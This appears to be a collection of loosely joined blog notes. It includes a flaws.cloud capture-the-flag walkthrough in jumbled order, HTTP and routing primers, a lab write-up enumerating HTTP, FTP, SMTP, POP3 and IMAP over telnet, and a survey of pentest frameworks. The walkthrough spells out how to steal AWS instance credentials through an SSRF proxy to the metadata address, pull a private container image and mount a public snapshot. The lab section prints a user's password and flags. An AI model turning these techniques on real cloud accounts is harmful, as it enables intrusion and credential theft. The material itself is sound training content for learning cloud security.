as usual .. as always .. do inspect element hehe

and we got something look ...
if you have done level 6 of flaws.cloud ... then you'll get the idea that this link is made of what ...

url : https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1 this is api gateway url ... it follows the url pattern like https://{api-id}.execute-api.{region}.amazonaws.com/{stage}

here;
2rfismmoo8 is api gateway id
default is stage
level1 is specific resource i believe

now lets try something ...
intercept the request in burp .. and send something which is not a number ...

and boom lol ... we got everything ...
now go to your terminal .. configure your aws-cli with a new profile and all the necessary tokens ...

and we check the bucket also .. and we got a secret file ...

navigate there and you'll get another level ...

look at the hint ... description is telling us to search the ecr repository named level2 ..

we tried listing all ecr repo but we got access denied ... so lets try something different ..

so we tried getting all metadata in repo named level2
aws ecr repo follows the format <account-id>.dkr.ecr.<region>.amazonaws.com
and we already got the details above ...
so use the command
aws ecr get-login-password --region us-east-1 --profile level1-flaws2 | sudo docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com

use this command and you'll see login succeedded
then use docker pull command :
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

after pulling the container .. run it ... and find for level3 file ...

and here we go .. we got it

just like ec2 has a metadata endpoint at the IP 169.254.169.254, ecs containers have a task metadata endpoint at the IP 169.254.170.2

well rn the giving proxy is not working .. might write this article/blog later .. till then ...

now lets look into what the question is

look at the questions .. its asking for webpage running on ec2 instance

An AWS Snapshot is a frozen, point-in-time backup of one of these EBS volumes. The vulnerability in this level is a classic misconfiguration: the target account accidentally set the permissions on snapshot snap-0b49342abd1bdcb89 to public.
Any AWS user can take a public snapshot and "hydrate" it ... meaning they can use it as a mold to press a brand new, identical EBS volume in their own AWS account.

so we got the snapshot id from here ... and now we will create volume using the create-volume command ...

now go to your aws console ... select the region you created the volume in .. here its United States (Oregon) ... us-west-2a ... then spin up ec2 instance
and make sure while selecting the network subnet you select the one that matches the availiability of your region ... else you wont be able to attach the volume ...
here select network subnet with us-west-2a ... or whatever matches yours ...

then navigate again to EBS section (volume) and select the volume you spun using your aws-cli ... and click the Actions button and attach volume ...

now ssh into your server and locate the volume using command lsblk ... and mount it ...

then cd into /mnt/flaws/home/ubuntu ... and check ...

and we got the username and password ...

navigate to 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud ... and it will prompt for username and password ... write them and you'll get level 5

Every AWS EC2 instance has a hardcoded, non-routable link-local IP address: 169.254.169.254. When the EC2 instance tries to route traffic to this IP, the AWS hypervisor intercepts it and serves up metadata about the instance. If the instance has an IAM Role attached to it, the hypervisor will happily hand over temporary AWS credentials to anyone who asks that magic IP.

┌──(sssubhammm ⌘ macbook-air)-[~/Downloads]
└─$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
2019-10-01
2020-10-27
2021-01-03
2021-03-23
2021-07-15
2022-09-24
2024-04-11
2025-10-04
2026-04-15
latest%    

keep navigating into directories ....

┌──(sssubhammm ⌘ macbook-air)-[~/Downloads]
└─$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest
dynamic
meta-data%                                                                                                                                                                           ┌──(sssubhammm ⌘ macbook-air)-[~/Downloads]
└─$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system%                                                                                                                                                                              ┌──(sssubhammm ⌘ macbook-air)-[~/Downloads]
└─$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam
info
security-credentials/%                                                                                                                                                               ┌──(sssubhammm ⌘ macbook-air)-[~/Downloads]
└─$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials
flaws%                                                                                                                                                                               ┌──(sssubhammm ⌘ macbook-air)-[~/Downloads]
└─$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
  "Code" : "Success",
  "LastUpdated" : "2026-06-11T11:41:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "*********",
  "SecretAccessKey" : "W3WkeD6+*****************",
  "Token" : "IQoJb3JpZ2luX2V*******************"
  "Expiration" : "2026-06-11T18:06:02Z"
}%                                         

phew phew ... we got the access key id and secret access key ...
export those credentials to your terminal ...

export AWS_ACCESS_KEY_ID="ASIA*******"
export AWS_SECRET_ACCESS_KEY="W3WkeD*****************"
export AWS_SESSION_TOKEN="IQoJb3JpZ2l*****"

i guess we found the hidden directory ...

well ... index.html is not the hidden file coz obviously the above one is .. lets check

and yeah we got the level 6 page ...

credentials are given ... configure your aws using those credentials

then lets list the lambda functions first to see what we are working with.
aws lambda list-functions --profile flaws6 --region us-west-2.

found one named Level6 ... lets try to grab the source code
aws lambda get-function --function-name Level6 --profile flaws6 --region us-west-2 --query 'Code.Location' --output text

tried but it says access denied :(
access denied ... so we cant read the code directly ... the policy blocks it. but we can check what is allowed to trigger this function instead
aws lambda get-policy --function-name Level6 --profile flaws6 --region us-west-2

look at the output ... in the source arn there is an api gateway id ... s33ppypa75 ... this is the front door.
now we just need the stage name for this api to build the actual url ...
aws apigateway get-stages --rest-api-id s33ppypa75 --profile flaws6 --region us-west-2

so the stage name is Prod ... lets navigate there ...

navigate again to the given dir ...

and boom we completed the flaws challenge!! ...

also this is cloud pentesting ... so no legacy methods will be applicable here lol ... if you inspect element ..

faaahhh faaahhh moment lol ...

now look carefully at the description ... This level is *buckets* of fun .
in aws, bucket refers to aws s3 .. which is used to store files .. websites can actually be hosted directly out of these buckets ....
the level description explicitly highlights the word with asterisks ... it's a dead giveaway that the objective is to interact with an s3 bucket configuration ...

after looking into internet i found out that we can append the url with the .s3.amazonaws.com
thats basically bucketname.s3.amazonaws.com ...
so ... by navigating directly to http://flaws.cloud.s3.amazonaws.com/ instead of the standard web presentation layer ... you are bypassing the default index.html page and asking the s3 api directly .. "what files do you have in here?"

now look at the last html file ... secret-xxxxxx.html ... thats what we want i believe ... so lets navigate there

and yeah we did level one ...
alternatively we can use aws-cli also to solve this .. i might use it in upcoming levels ...!!

look here ... they have also given the explaination to the previous level .. good one ..

now its given that we'll need our own aws account ... so just go for it .. signup for free tier ... and create access key (make sure to download the access key .csv file else it will be gone) .. you might need while configuring aws-cli ... if you are on mac use brew install awscli or if you are using linux .. then go for installation script ...

# 1. Download the installer bundle
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
# 2. Extract the files
unzip awscliv2.zip
# 3. Run the installation script
sudo ./aws/install

sorry i dont use windows :) ... just google it you'll find it easily ...

then .. configure your aws using command .. aws configure ... it will ask for access key you just generated ... once its done .. use the command: aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud --region us-west-2

and yeah we got the file ... so what was the misconfiguration here?
the core vulnerability here comes down to a massive misunderstanding of how aws defines "authenticated users".
when developers set up permissions on a bucket, aws gives them a pre-made access control list (acl) group called "any authenticated aws user".
the mistake was that ... the developer thought: "cool, i want to block the random public, but i want anyone on my team who is logged into our aws organization to be able to see these files. i'll check this box."

why it failed?​

in aws architecture, "authenticated user" means absolutely anyone with a valid aws account anywhere on earth. it does not mean "authenticated to my specific company account". because aws manages identities globally, the brand-new personal account you just made is recognized as a valid, authenticated identity.
when you ran that aws s3 ls command with your new keys configured, the bucket looked at your signature, verified you were a real aws user, saw the broken permission policy, and let you right in to view the directory.

how to actually fix it​

to secure this in the real world, you completely avoid using global acl groups. instead, you write a specific bucket policy that limits access strictly to your own unique aws account id or explicit iam roles, like this:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowOnlyMySpecificAccount",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::YOUR_ACCOUNT_ID:root"
            },
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud"
        }
    ]
}

anyway, grab that secret file name from the terminal output (secret-e4443fc.html), slap it onto the end of the level 2 URL, and let's head over to the next challenge page.

check which files exists .. using ls ....

then make one temp dir and cp .git to your local system ...

now check git history using git log ...

now use git stat to see the changes and all.

now just configure using the credntials you just got .. and

and with that .. ls output contains link to level 4 ..

and you are done!!

1. Core Principles of HTTP​

HTTP (Hypertext Transfer Protocol) is an application-layer protocol (Layer 7 in the OSI model) used by clients and servers to communicate. It is built on two fundamental ideas:

• Statelessness: The server retains no memory of past interactions. Every request is entirely self-contained and must include all the necessary information (like authentication tokens or cookies) for the server to process it.
  • Benefits: This simplifies server architecture and improves scalability, because a single server doesn't need to keep track of user sessions, and a server crash won't destroy a client's state.
• Client-Server Model: Communication is always initiated by the client (e.g., a web browser) to request resources or actions, and the server waits for these requests to process and respond.

2. Transport Protocol & HTTP Versions​

HTTP relies on a reliable, connection-based transport protocol, almost universally TCP (Transmission Control Protocol). Over the years, HTTP has evolved to improve how these TCP connections are handled:

• HTTP 1.0: Opened a new TCP connection for every single request and response, which was highly inefficient and slow.
• HTTP 1.1: Introduced persistent connections (keep-alive) as the default, allowing multiple requests to be sent over a single reused connection.
• HTTP 2.0: Introduced multiplexing (multiple requests/responses concurrently on one connection), binary framing, header compression, and server push.
• HTTP 3.0: Replaced TCP with QUIC (built over UDP) to establish faster connections and handle packet loss better, eliminating head-of-line blocking.

3. Anatomy of HTTP Messages​

Client-server communication happens via structured text messages.

• Request Message (Client to Server): Contains a Request Method (e.g., GET/POST), the Resource URL, the HTTP version, Host domain, Headers, a blank line, and an optional Request Body.
• Response Message (Server to Client): Contains the HTTP version, a Status Code (e.g., 200), a Status Value (e.g., OK), Headers, a blank line, and the Response Body.

4. HTTP Headers​

Headers are key-value pairs that act as metadata for the package being transmitted, allowing the system to be highly extensible and act as a "remote control" to dictate server behavior.

• Request Headers: Sent by the client to provide context (e.g., User-Agent identifies the browser, Authorization sends credentials).
• General Headers: Apply to both requests and responses (e.g., Date, Connection, Cache-Control).
• Representation Headers: Describe the message body (e.g., Content-Type for media format like JSON/HTML, Content-Length for byte size, Content-Encoding for gzip compression).
• Security Headers: Protect against attacks (e.g., Strict-Transport-Security forces HTTPS, Content-Security-Policy prevents cross-site scripting, Set-Cookie with HTTP-only flags).

5. HTTP Methods and Idempotency​

Methods define the semantic intent of the client's request.

• GET: Fetches data from the server without modifying anything.
• POST: Submits new data to the server (includes a request body).
• PATCH: Partially updates an existing resource.
• PUT: Completely replaces an existing resource with the provided body.
• DELETE: Removes a resource.
• OPTIONS: Inquires about the server's capabilities (used heavily in CORS).

Idempotency is a crucial concept here:

• Idempotent Methods: Can be executed multiple times and yield the exact same result on the server state (e.g., GET, PUT, DELETE).
• Non-Idempotent Methods: Running them multiple times creates different results (e.g., submitting a POST request twice creates two separate resources).

6. Cross-Origin Resource Sharing (CORS)​

Browsers enforce a Same-Origin Policy, blocking web apps from making requests to different domains (origins). CORS is a security mechanism to bypass this safely.

• Simple Requests: (Usually GET or POST with standard headers/content types). The browser automatically adds an Origin header. If the server allows the request, it replies with the Access-Control-Allow-Origin header containing the client's domain (or a * wildcard). If missing, the browser blocks the response.
• Pre-flight Requests: Triggered if a request uses a non-simple method (PUT/DELETE), requires authorization headers, or uses a application/json content type.
  • The browser first fires an OPTIONS request asking the server if the route supports the intended method and headers.
  • The server replies with a 204 No Content status, explicitly listing allowed origins, methods, headers, and a max-age to cache this configuration.
  • If successful, the browser then sends the actual, original request.

7. Standardized Status Codes​

Status codes are three-digit numbers that act as a universal language to indicate the outcome of a request.

• 1xx (Informational): Indicates headers received; client can proceed (e.g., 100 Continue for large uploads).
• 2xx (Success):
  • 200 OK: Successful operation.
  • 201 Created: Usually follows a POST request.
  • 204 No Content: Successful, but no body to return (used in OPTIONS or DELETE).
• 3xx (Redirection):
  • 301 Moved Permanently: The resource has a new URL.
  • 302 Found/Temporary Redirect: Temporarily forward to a new route.
  • 304 Not Modified: Tells the client to use its locally cached version.
• 4xx (Client Errors):
  • 400 Bad Request: Invalid data format sent by client.
  • 401 Unauthorized: Missing or invalid authentication token.
  • 403 Forbidden: Authenticated, but lacks necessary permissions.
  • 404 Not Found: Incorrect URL or deleted resource.
  • 405 Method Not Allowed: Using the wrong method for a route.
  • 409 Conflict: Business logic violation (e.g., duplicate username).
  • 429 Too Many Requests: Client has hit rate limits.
• 5xx (Server Errors):
  • 500 Internal Server Error: An unhandled exception crashed the server.
  • 501 Not Implemented: Feature not yet supported.
  • 502 Bad Gateway / 504 Gateway Timeout: Issues originating from proxies or load balancers failing to reach upstream servers.
  • 503 Service Unavailable: Server down or under maintenance.

8. HTTP Caching​

Caching reuses previously downloaded responses to save bandwidth and load times.

• When a client first fetches a resource, the server responds with the payload alongside three headers: Cache-Control (sets max duration), ETag (a unique hash of the payload), and Last-Modified.
• On subsequent requests, the client sends conditional headers: If-None-Match (carrying the ETag) or If-Modified-Since.
• If the data on the server hasn't changed, the server saves bandwidth by sending an empty 304 Not Modified response, instructing the browser to use its cached copy. If it has changed, it sends a 200 OK with the new data and a new ETag.

9. Content Negotiation and Compression​

Clients and servers can negotiate the best format to exchange data.

• The client sends preferences via Accept (e.g., application/json vs application/xml), Accept-Language (e.g., en vs es), and Accept-Encoding (e.g., gzip).
• The server responds with the appropriate format.
• Compression: By negotiating an encoding like gzip, a server can drastically compress text responses (e.g., shrinking a 26MB JSON payload down to 3.8MB) to save massive amounts of network bandwidth.

10. Handling Large Data Transfers​

• Large Client Uploads (Images/Video): Standard JSON is terrible for binary data. Instead, clients use a multipart/form-data request. This breaks the file into chunks separated by a unique string delimiter defined in the boundary header.
• Large Server Downloads: To prevent timing out, the server streams the file in chunks using Content-Type: text/event-stream and Connection: keep-alive. The browser continually appends these chunks until the transfer finishes.

11. Security (SSL/TLS & HTTPS)​

• TLS (Transport Layer Security): The modern, secure replacement for the outdated SSL protocol.
• It encrypts data in transit to prevent interception (eavesdropping) or tampering, utilizing certificates to verify the server's identity.
• HTTPS: Simply the standard HTTP protocol wrapped inside a secure TLS connection.

1. What is Routing?​

• The "What" vs. The "Where": In a backend system, HTTP methods (like GET, POST, DELETE) express the what or the intent of a request (e.g., fetching or adding data). Routing expresses the where—the specific resource or destination you want to apply that action to.
• Definition: Routing is the process of mapping a combination of an HTTP method and a URL path to a specific server-side Handler (a set of instructions or business logic).
• Uniqueness: The server concatenates the HTTP method and the route to form a unique key. For example, a GET request to /api/books and a POST request to /api/books will trigger completely different logic in the server without clashing.

2. Types of Routes​

There are two primary ways to structure a route path:

• Static Routes: These are constant strings that do not contain any variable parameters. For example, /api/books will always stay consistent and point to the same general resource.
• Dynamic Routes: These include variable slots within the URL that the server can extract as data. In most backend frameworks (like Node.js, Python, or Go), these are denoted by a colon, such as /api/users/:id. If a client requests /api/users/123, the server extracts "123" as the ID to fetch that specific user's data.

3. Path Parameters vs. Query Parameters​

When sending data through a URL, backend engineers use two distinct types of parameters:

• Path Parameters (Route Parameters): These are the variables placed directly inside the route's path, right after a forward slash / (e.g., the 123 in /api/users/123). They are used to express semantic meaning, specifically identifying a unique resource.
• Query Parameters: Because GET requests do not have a data body, query parameters are used to send key-value pairs of metadata to the server.
  • Syntax: They are attached to the end of the route after a question mark ? (e.g., /api/search?query=some+value).
  • Use Cases: They are heavily used for pagination (e.g., page=2&limit=20), filtering user-defined values, or determining sorting orders (ascending/descending).

4. Nested Routing​

Nested routing is a standard REST API practice used to express a hierarchy between different resources.

• Semantic Hierarchy: By nesting paths, you create a highly readable, semantic expression of what data you want.
• Example Workflow:
  • /api/users: Fetches a list of all users.
  • /api/users/123: Goes one level deep to fetch a specific user.
  • /api/users/123/posts: Goes another level deep to fetch all posts created by user 123.
  • /api/users/123/posts/456: Fetches one highly specific post (ID 456) belonging to that specific user.

5. Route Versioning and Deprecation​

As applications grow, business requirements change, which might require you to completely alter the format of the data your API returns (e.g., switching the key name to title).

• The Problem: If you change the response format on a live route, you will break the frontend application (like an iOS or React app) currently relying on it.
• The Solution (Versioning): Engineers add version numbers to routes, such as /api/v1/products and /api/v2/products.
• Deprecation: This allows the server to simultaneously support both the old and new data structures. It provides frontend engineers a safe window of time to migrate their code to v2 before the backend team officially deprecates and removes v1.

6. Catch-All Routes​

• Purpose: A catch-all route acts as a safety net for invalid requests.
• How it Works: It is placed at the very end of the server's routing logic, often using a wildcard syntax like /*. If a request trickles down through all the previous route matching algorithms without finding a match, it hits the catch-all.
• Benefit: Instead of the server defaulting to a broken or null response, the catch-all handler cleanly returns a user-friendly "Route Not Found" (404) message to the client.

This write-up explores a hands-on protocol enumeration exercise targeting a Linux-based host (10.49.179.14). By bypassing automated suites and utilizing raw network utilities like telnet, we manually map, authenticate, and interact with five foundational application-layer protocols: HTTP, FTP, SMTP, POP3, and IMAP. We then corroborate our manual findings with an automated nmap service audit to analyze how scanners interpret these raw network responses.

Technical Environment

• Attacking Platform: Unix/Linux Shell (Zsh)
• Target IP Address: 10.49.179.14
• Target Operating System: Linux (Ubuntu/Fedora-derived target ecosystem)
• Tools Utilized: telnet, ftp, nmap

1. Manual Service Enumeration via Cleartext Protocols

HTTP (Port 80) — Navigating Virtual Hosts​

Initial attempts to interact with the HTTP service on port 80 demonstrated how modern web servers handle incoming traffic routing based on HTTP headers rather than just IP addresses.

A generic connection followed by a standard command string triggered a client-side routing failure:

$ telnet 10.49.179.14 80
Trying 10.49.179.14...
Connected to 10.49.179.14.
Escape character is '^]'.

GET /index.html HTTP/1.1

HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Connection: close

The server responded with an HTTP 400 Bad Request status code. Because modern web servers frequently host multiple web applications on a single IP address (Virtual Hosting), Nginx requires an explicit Host header to determine which server block should receive the request.

By re-establishing the session and manually crafting a valid HTTP request containing the appropriate Host header routing (host: telnet), the server successfully processed the request, yielding a 200 OK response along with the raw HTML payload:

$ telnet 10.49.179.14 80
Trying 10.49.179.14...
Connected to 10.49.179.14.

GET /index.html HTTP/1.1
host: telnet

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html
Content-Length: 234
Connection: keep-alive

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Welcome to my Web Server</title>
</head>
<body>
  <h1>Coming Soon</h1>
</body>
</html>

With a stable keep-alive connection, a secondary manual request was issued to target hidden files directly on the server, successfully exfiltrating an application token:

GET /flag.thm HTTP/1.1
host: telnet

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 39

THM{e3eb0a1df437f3f97a64aca5952c8ea0}

FTP (Port 21) — Data Retrieval​

File Transfer Protocol (FTP) remains a common vector for sensitive data exposure if misconfigured. Interacting with port 21 exposed a standard vsFTPd 3.0.5 daemon.

Using the local FTP client utility, a session was established using known user credentials (frank).

$ ftp 10.49.179.14
Connected to 10.49.179.14.
220 (vsFTPd 3.0.5)

Name (10.49.179.14:localuser): frank
331 Please specify the password.

Password:
230 Login successful.

Remote system type is UNIX.

Upon successful authentication, the server transitioned to passive mode (227 Entering Passive Mode) to establish a separate data channel for directory listings and file transfers. A directory listing exposed a target backup text document and an explicit data file:

ftp> ls

150 Here comes the directory listing.
drwx------   10 1001     1001         4096 Sep 15 2021 Maildir
-rw-rw-r--    1 1001     1001         4006 Sep 15 2021 README.txt
-rw-rw-r--    1 1001     1001           39 Sep 15 2021 ftp_flag.thm
226 Directory send OK.

ftp> get ftp_flag.thm

local: ftp_flag.thm remote: ftp_flag.thm
150 Opening BINARY mode data connection for ftp_flag.thm (39 bytes).
226 Transfer complete.

SMTP (Port 25) — Banner Grabbing​

Simple Mail Transfer Protocol (SMTP) often leaks critical system configuration metrics via its initialization banner. Connecting to the raw mail submission port immediately triggered an unauthenticated information disclosure.

$ telnet 10.49.179.14 25
Trying 10.49.179.14...
Connected to 10.49.179.14.
Escape character is '^]'.

220 bento.localdomain ESMTP Postfix THM{5b31ddfc0c11d81eba776e983c35e9b5}

The Postfix daemon leaked both the internal hostname (bento.localdomain) and an embedded system string directly inside the cleartext 220 service readiness banner before any SMTP transaction commands (HELO, EHLO) were issued.

POP3 (Port 110) — Mailstore Authentication​

The Post Office Protocol version 3 (POP3) handles standard cleartext mailbox retrieval. Utilizing credentials harvested during reconnaissance, a direct authentication sequence was executed over port 110.

$ telnet 10.49.179.14 110
Trying 10.49.179.14...
Connected to 10.49.179.14.

+OK Hello there.
USER frank
+OK Password required.

PASS D2xc9CgD
+OK logged in.

STAT
+OK 0 0

The server acknowledged authentication via +OK logged in. Executing the STAT command revealed that while the account context was fully valid, the specific POP3 drop directory contained zero active messages (+OK 0 0), prompting a pivot to more advanced mail handling frameworks.

IMAP (Port 143) — Interactive Mail Inspection​

Internet Message Access Protocol (IMAP) provides a more complex command structure than POP3 for mailbox management. Sessions require explicit command tags (c1, c2, etc.) prepended to each instruction line.

$ telnet 10.49.179.14 143
Connected to 10.49.179.14.

* OK Courier-IMAP ready.

c1 LOGIN frank D2xc9CgD
* OK [ALERT] Filesystem notification initialization error
c1 OK LOGIN Ok.

Following successful authentication, directory structures were enumerated using wildcard filters to identify mail storage structures within the file system:

c2 LIST "" "*"

* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Drafts"
* LIST (\HasNoChildren) "." "INBOX.Templates"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\Unmarked \HasChildren) "." "INBOX"

c2 OK LIST completed

The primary mailbox partition was then inspected in a non-destructive, read-only state using the EXAMINE verb:

c3 EXAMINE INBOX

* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 0 EXISTS
* 0 RECENT

c3 OK [READ-ONLY] Ok

2. Automated Service Verification via Nmap

To compare manual assessment techniques against automated tools, an aggressive network service scan was executed using the Nmap Scripting Engine (NSE) to interrogate the exact same port array.

nmap -sV -sC -p 21,25,80,110,143 10.49.179.14

Scan Output Analysis​

Starting Nmap 7.92 at 2026-06-03 11:22 IST

Nmap scan report for 10.49.179.14
Host is up (0.048s latency).

PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.5
25/tcp  open  smtp    Postfix smtpd
|_smtp-commands: bento.localdomain, PIPELINING, SIZE 10240000, VRFY,
| ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=bento
| Subject Alternative Name: DNS:bento
|_Not valid after: 2031-09-12T12:03:40

80/tcp  open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to my Web Server
|_http-server-header: nginx/1.18.0 (Ubuntu)

110/tcp open  pop3    Courier pop3d
|_pop3-capabilities: UTF8(USER) TOP UIDL PIPELINING
| LOGIN-DELAY(10) USER STLS
| IMPLEMENTATION(Courier Mail Server)
| ssl-cert: Subject:
| commonName=localhost/organizationName=Courier Mail Server
|_Not valid after: 2022-09-14T12:41:12

143/tcp open  imap    Courier Imapd (released 2018)
|_imap-capabilities: ACL UTF8=ACCEPT
| THREAD=ORDEREDSUBJECT completed QUOTA OK
| THREAD=REFERENCES IDLE CAPABILITY IMAP4rev1
| ENABLE SORT STARTTLS CHILDREN UIDPLUS
| NAMESPACE ACL2=UNION

Service Info:
Host: bento.localdomain
OSs: Unix, Linux
CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 20.12 seconds

Core Architecture Findings: Manual vs Automated

Information Extraction Limitations​

While Nmap accurately performed service version fingerprinting (nginx 1.18.0, vsFTPd 3.0.5), it did not discover sensitive flag structures hidden deeper in custom application paths (such as /flag.thm on HTTP), nor did it attempt credentialed data extraction within the mailboxes.

SMTP Command Exposure​

Nmap's default scripts executed an EHLO sequence and discovered that the VRFY instruction is globally exposed. This indicates that the mail server allows unauthenticated clients to verify user accounts, exposing the infrastructure to automated username harvesting and brute-force staging.

Cryptographic Weaknesses​

The NSE engine extracted SSL/TLS public key infrastructure data for the mail daemons on ports 110 and 143. The script engine exposed a critical configuration finding:

Not valid after: 2022-09-14T12:41:12

The cryptographic certificates protecting authentication data over POP3/IMAP expired years prior. In an enterprise auditing scenario, this confirms a failure in certificate lifecycle management, exposing transmission lines to potential credential harvesting via Machine-in-the-Middle (MitM) attacks.

Conclusion

Automated engines like Nmap are essential for broad attack-surface mapping and initial discovery. However, security professionals must remain adept at manual protocol interaction. Understanding how to communicate directly with network daemons over raw TCP streams ensures that security testers can accurately validate configurations, handle virtual host routing constraints, and uncover deep-seated vulnerabilities that automated enumeration routines frequently overlook.

There are several frameworks in active use, each born from a different philosophy. Some are academic, some are government-issued, some are built by practitioners who were tired of inconsistent engagements. Knowing which one to reach for — and why — is what separates a methodical tester from someone just running tools.

OSSTMM​

The Open Source Security Testing Methodology Manual. This one comes from ISECOM and it's the most scientific of the bunch — it treats security testing like a measurable discipline rather than an art.

The core idea is RAV — Risk Assessment Value. Instead of just saying "this is vulnerable," OSSTMM gives you a numerical score based on attack surface, controls in place, and actual exposure. It covers not just technical systems but also physical security, human factors, and telecommunications.

In practice: OSSTMM is thorough to the point of being heavy. It's more suited for formal audits than a quick web app pentest. The value is in its completeness — it forces you to think about attack surfaces you'd otherwise skip.

Key channels it covers: Human, Physical, Wireless, Telecommunications, Data Networks.

OWASP WSTG​

The OWASP Web Security Testing Guide. This is the one you'll actually use day-to-day if you're doing web app pentesting or bug bounty.

OWASP WSTG is organized around test cases — each one maps to a specific vulnerability class, has a defined objective, a testing procedure, and expected results. It covers everything from information gathering and authentication testing to business logic flaws and client-side attacks.

The structure:

• OTG-INFO — Recon and fingerprinting
• OTG-AUTHN — Authentication mechanisms
• OTG-AUTHZ — Authorization and access control
• OTG-INPVAL — Input validation (SQLi, XSS, XXE, etc.)
• OTG-SESS — Session management
• OTG-CRYPST — Cryptography
• OTG-BUSLOGIC — Business logic flaws
• OTG-CLIENT — Client-side attacks

This is the framework you open mid-engagement, not beforehand. You're testing auth bypass? Open the AUTHN section. It's a reference, not a book to read cover to cover.

NIST SP 800-115​

Published by the National Institute of Standards and Technology. This is the U.S. government's take on how security testing should be done — formal, phase-based, and compliance-oriented.

It defines four phases:

1. Planning — Scope, rules of engagement, objectives
2. Discovery — Identifying systems, services, vulnerabilities
3. Attack — Exploitation and validation
4. Reporting — Documenting findings and remediation

NIST 800-115 is less about how to hack and more about how to run an engagement properly. It's what you reference when a client asks "what methodology do you follow?" and the answer needs to satisfy a compliance requirement. The technical depth is shallow compared to OWASP or PTES, but the process rigor is high.

PTES​

The Penetration Testing Execution Standard. This one was built by practitioners — people who were actually doing engagements and needed a standard that reflected reality.

PTES has seven phases:

1. Pre-engagement Interactions — Scope, contracts, legal clearance
2. Intelligence Gathering — OSINT, recon, target profiling
3. Threat Modeling — What's actually worth attacking given the target's business
4. Vulnerability Analysis — Identifying weaknesses
5. Exploitation — Actually getting in
6. Post-Exploitation — Persistence, lateral movement, data exfil simulation
7. Reporting — Findings, evidence, remediation advice

What makes PTES useful is that it mirrors how real engagements work. The threat modeling phase in particular is underrated — it forces you to think from an attacker's business perspective, not just a technical one. You're asking: what does this organization actually care about protecting, and what's the realistic path to compromising it?

ISSAF​

Information Systems Security Assessment Framework. Older, nine-phase methodology that was influential in formalizing how assessments are structured.

The phases: Planning → Assessment → Treatment → Accreditation → Monitoring → Detection → Response → Recovery → Review.

ISSAF goes beyond just "find vulnerabilities" — it extends into incident response, recovery, and ongoing monitoring. It's more of a full security program framework than a pure pentest methodology. In modern practice it's largely been superseded by PTES and NIST, but it's worth knowing it exists, especially in enterprise contexts where the client wants to see a comprehensive lifecycle, not just an attack simulation.

MITRE ATT&CK​

This is different from the others — it's not a testing methodology, it's a knowledge base of adversary behavior. ATT&CK catalogs real-world TTPs (Tactics, Techniques, and Procedures) observed from actual threat actors.

The structure:

• Tactics — The why (what the attacker is trying to achieve): Reconnaissance, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command and Control, Impact
• Techniques — The how (specific methods to achieve the tactic)
• Sub-techniques — Granular variants of techniques
• Procedures — How specific threat groups implement a technique

Where ATT&CK shines is in mapping your findings to real attacker behavior. Instead of just saying "we got RCE via SQLi," you can say "Initial Access via T1190 (Exploit Public-Facing Application), Execution via T1059.004 (Unix Shell)." This is meaningful to blue teams because it tells them what to detect, not just what was broken.

For bug bounty writeups and CTF reports, ATT&CK mapping adds immediate credibility. For red team engagements, it's how you demonstrate that your simulation reflects realistic threat actor behavior.

Other Notable Frameworks​

A few worth knowing without going deep:

WASC Threat Classification — Web Application Security Consortium's taxonomy of web threats. Predates OWASP WSTG, less granular, occasionally referenced in older reports.

CSA Cloud Controls Matrix — Cloud-specific. Maps security controls across cloud service models (IaaS, PaaS, SaaS). Useful when the engagement scope includes cloud infrastructure.

OWASP MASTG — Mobile Application Security Testing Guide. Same philosophy as WSTG but for Android and iOS. Covers platform-specific attack surfaces like insecure storage, improper platform usage, and reverse engineering of mobile binaries.

